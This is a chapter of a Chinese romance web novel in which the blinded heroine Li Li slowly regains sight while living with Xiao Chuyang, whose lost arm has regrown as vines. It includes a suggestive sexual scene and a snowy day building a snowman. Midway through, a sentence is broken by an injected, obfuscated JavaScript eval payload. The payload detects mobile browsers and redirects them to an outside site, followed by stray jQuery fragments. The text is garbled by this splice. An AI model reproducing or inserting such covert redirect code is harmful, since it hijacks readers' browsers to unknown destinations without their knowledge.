27. 秘境养伤
作品:《我决定让男主去死》 黎礼被阳光刺醒,叫了两声肖楚杨都没人应,她一步步往门外走,快到门口时,听见一阵铃铛声。
“你去哪了?”
肖楚杨抱住她,黎礼下意识回抱,双手搭住肩膀时一愣,空荡荡的袖管里生出了结实的臂膀。
黎礼又惊又喜,“你的胳膊好了!”
“灵树抽出新枝,用藤蔓接上了。”
黎礼捏捏他的上臂,“能动吗?”
肖楚杨手指轻轻勾住她的指尖,带着清晰的力道,手指化作藤蔓,一点点绕住了黎礼的手腕。
黎礼高兴极了,她一直为此事过意不去,他的胳膊好了,她心里也好受些。
“你怎么起这么早?”
“太阳光太强了,睡不着了。”
“一会我放在纱帐在卧房里,遮一遮光。”他顿住,“礼礼,你的眼睛,能看见了?”
黎礼反应过来,心脏狂跳,用力眨了眨眼睛,又失望地摇了摇头,“早上好像能看到一点光,现在又什么都看不见了。”
肖楚杨安慰道:“会慢慢好起来的。”
黎礼释然道:“还有一年半呢,说不定过段时间就能好转了。”
肖楚杨在床边放上了一层幔帐,这纱原是极软的,偏又因着金线的勾勒有了筋骨,垂落时如云堆雪。
黎礼道:“我猜猜是什么颜色,是黑色,还是蓝色?”
肖楚杨一边用金钩勾起幔帐,一边应她,“都不是,是柔粉。”似春日里初绽樱花那般柔和浅淡,带着几分朦胧与梦幻。
黎礼用手撩拨着垂下来的软纱,“你穿的衣服都是黑色和蓝色,我还以为你会把床也布置成这样。”
肖楚杨道:“这不是我的床。”
黎礼嘟囔道:“天天睡在这,跟你的床有什么区别。”
肖楚杨带了笑意,“那就是吧。”
纱幔虽薄,遮光却极好,将大部分光线温柔地挡在了外头,黎礼每日清晨都能恍惚看见些光亮,再后来能看到模糊的人影,只是只能在清晨看到,随后又陷入黑暗里。
这是好现象,每天早上黎礼都醒的很早,看着屋子一点点被阳光点亮,仿佛看到了恢复的希望。
她看到肖楚杨的头发长长了些,发尾还是卷曲的,新长出来的头发是直的,她把手指穿插进发丝间,帮他把凌乱的头发理顺。
肖楚杨睡觉的时候看起来很温顺,黎礼感觉自己在给一只大猫梳毛。
“醒了,是我弄疼你了吗?”
“没有,一会帮我束发,好不好?。”
“一会儿我又看不见了,你不怕我给你把冠戴歪?”
肖楚杨凑近,近到黎礼可以感受到他的呼吸,“那你现在好好看看,记住应该怎么束。”
黎礼端详起肖楚杨的脸,一如记忆里那样完美耀眼,“好了我记住了,肯定让你满意。”
肖楚杨啄了一下黎礼的嘴唇。
“你干嘛?”
“上次你就是这么谢我的,我不能以同样的方式谢你吗?”听起来还带了点委屈。
“还没给你束发呢,不用提前谢我。”
“过会你就看不见了,”肖楚杨捧起她的脸,“礼礼,看着我。”
黎礼的睫毛轻轻颤动,努力聚焦视线。眼前的轮廓渐渐清晰了些,能看到他挺直的鼻梁,紧抿的唇,还有那双漂亮的丹凤眼。
她下意识地想躲开,却被他用藤蔓化作的手轻轻按住后颈。
“别躲。”肖楚杨的吻落下来时,带着不容拒绝的温柔。他的唇瓣轻轻辗转,右手扶住她的后颈,待她下意识张开唇瓣时,舌尖便趁隙探入,卷住她的呼吸。
肖楚杨的指尖捏住她发烫的耳垂轻轻摩挲,藤蔓化作的左手却顺着她的衣领探进去,随着呼吸起伏轻轻蹭着锁骨窝,激起一串细密的战栗。
“肖楚杨……”黎礼的声音含糊在唇齿间,带着点惊慌,又有点纵容。
藤蔓在她颈间收得更紧,将她的呼吸全卷进肺腑,直到她眼眶微微泛红,肖楚杨才稍稍退开半寸,鼻尖抵着鼻尖交换喘息。
“看清楚了吗?”他低笑,唇瓣擦过她的鼻尖。
黎礼的视线被水汽糊得更厉害,她抬手,指尖摸到他唇角的湿润,“很清楚。”
“礼礼,”肖楚杨的嗓音低沉而略带沙哑,“想把我的样子刻进你心里。”
肖楚杨的吻顺着她的唇角往下滑,落在下巴上,再到纤细的脖颈。藤蔓化作的手不知何时已扯开她衣襟的系带,凉丝丝的触碰到细腻的肌肤。
他的呼吸越来越重,带着压抑不住的灼热,右手探入她的发间,攥住那把青丝,将她的头按向自己,吻得又急又深,仿佛要将她整个人都吞噬。
黎礼被他吻得浑身发软,理智却在某个瞬间回笼,白日里明晃晃的日光,照得人心里发慌。
“别……”她用力推了推他的胸膛,“天……天还亮着……”
肖楚杨像是没听见,吻依旧落在她的颈间,留下一个个深浅不一的印记。
“肖楚杨。”黎礼的声音提高了些,她偏过头,躲开他凑近的唇,“会被看到的……”
肖楚杨这才稍稍停下动作,额头抵着她的肩窝,呼吸粗重,带着浓重的情潮。他抬起头,望着她被吻得红肿的唇,喉结滚动了一下。
“这里只有我们两个。”他的声音沙哑得厉害。
“那也不行。”黎礼别过脸,不敢看他,上次就被系统撞见了,这次再被看到她真没脸见人了。“等……等天黑了再说。”
“好,听你的。”声音里还带着未散的情欲,“等天黑。”
窗外的日光依旧明亮,透过窗户洒在地上,形成一道道光斑。空气仿佛还残留着刚才的炙热与缠绵,却又因这白日的光亮,多了一丝羞怯与克制。
白日的时光仿佛变得格外漫长,廊下的沙漏滴得慢悠悠的,肖楚杨每隔片刻就会去看一眼。
终于,太阳慢慢沉入西山,最后一缕霞光消失在天际,夜色像一块巨大的幕布,缓缓笼罩了整个天地。
肖楚杨小心翼翼地握住她的手,指尖的温度透过肌肤传来,带着一丝灼热。他的目光像带着钩子,紧紧地锁在她的脸上,里面翻涌着压抑了一整天的情愫。
他慢慢靠近,气息轻轻拂过黎礼的耳畔,“礼礼,离我近一点。”
黎礼没有回答,却也没有推开他,算是默认了。
肖楚杨的吻先是落在她的额头,轻柔得像羽毛拂过,带着珍视与呵护。接着,他的吻缓缓下移,落在她的鼻尖,再到她的唇角。这次的吻不同于白日的急切,带着一丝克制,却又充满了占有欲。
他的右手轻轻揽住她的腰,将她往自己怀里带了带。
黎礼的呼吸渐渐加快,指尖轻轻抓住了他的衣襟。
肖楚杨用吻回应着她,他的吻越来越深,却始终保持着一丝克制,没有像白
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371604|183571||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日那样急切,而是一点点地品尝着她的唇瓣,仿佛要将这等待了一整天的时光,都细细地揉进这个吻里。
肖楚杨将黎礼抱上床,解下腰带悬在床头,肖楚杨躺下来时,银铃便跟着响了一阵,他的手臂刚环住她的腰,铃音又细碎地漫开来,混着他的呼吸声,在帐内织成张温柔的网。
“好听吗?”他咬着她的耳垂,“看不见,就听着。”
肖楚杨故意动了动,让铃铛再响得欢些,他喜欢听这声音,喜欢看她因铃音而泛红的耳廓,喜欢她看不见却能凭声音感知他的模样。
银铃忽然急促起来,“叮铃、叮铃”的声响连成片,像檐下的雨突然密了,打在青瓦上急不可耐,偶尔一声格外清脆,像是被什么猛地一撞,余音颤颤,久久不散。
夜愈深,铃声仍不肯歇,直到东方既白,那铃声才终于彻底静了下去。
黎礼觉得浑身像是要散架了一般,腰酸背痛,想揉揉眼睛,连抬起胳膊的力气都没有,用手指戳了戳肖楚杨。
“我饿了。”
“我去做饭,想吃什么?”肖楚杨一脸餍足。
“芹菜牛肉,鲫鱼豆腐汤。”
肖楚杨起身穿衣服,“要不要再来一个鲜炒菜心?”
黎礼笑道:“真懂我,我封你为御用大厨。”
肖楚杨附身吻了一下她的额头,“你再睡一会,我做好了叫你。”怕黎礼睡不着会无聊,又去外厅把橘猫抱到卧室陪她,肖大厨这才高高兴兴做饭去了。
吃完饭黎礼拿木球逗着小猫玩,力气用得大了些,木球顺着门缝弹到院子里,猫儿追着球跑出去,黎礼跟着朝门口走,开门的一瞬间,外面白茫茫的光亮晃得她眯了眯眼镜。
寒风把雪粒吹进屋里,肖楚杨从后面给她披上大氅,“小心风寒。”
“我看见了,是不是下雪了。”
肖楚杨眼睛一亮,“下了一夜的雪,礼礼,你的眼睛是痊愈了吗?”
“没有,光亮处可以看到模糊的影子,昏暗的地方还是看不见。”黎礼倒是很平静,视力在一天天好转,彻底恢复只是时间问题。“我们出去堆个雪人吧。”
肖楚杨对她的要求无有不应,给她裹上一层厚厚的衣服,两个人在院子里堆了个到膝盖那么高的雪人,用石子当眼睛嘴巴。
“画一幅画,把我和雪人都画上去,等我能看见了就知道堆的雪人好不好看了。”黎礼蹲在雪人旁,比了个剪刀手。
“好了好了,我记得了,马上画,快回去吧。”
“你真的看一眼就能记得怎么画,简直是人型照相机啊。”黎礼不像之前那样拘束,可以随意说些他听不懂的词,她在肖楚杨身边是绝对安全的。
“什么是照相机?”
“就是一下子就能复刻出画面,很厉害的东西啦。”黎礼拍拍身上的雪,“我也给你画,你去摆个姿势,放心吧,我还是能看清轮廓的。”
肖楚杨学着黎礼的样子,蹲在雪人旁边,双手比“耶”,虽然他不知道这手势是什么意思,但他觉得黎礼这样很好看。
黎礼眨巴着眼睛,看了好一会,肖楚杨腿都有些麻了。
“好了,你可以起来了。”
肖楚杨揉揉有些发酸的膝盖,“你也是照相机。”
黎礼挽起他的胳膊,“我有延迟,比你慢一点点。”
“什么是延迟?”
“把我画得好看就告诉你。”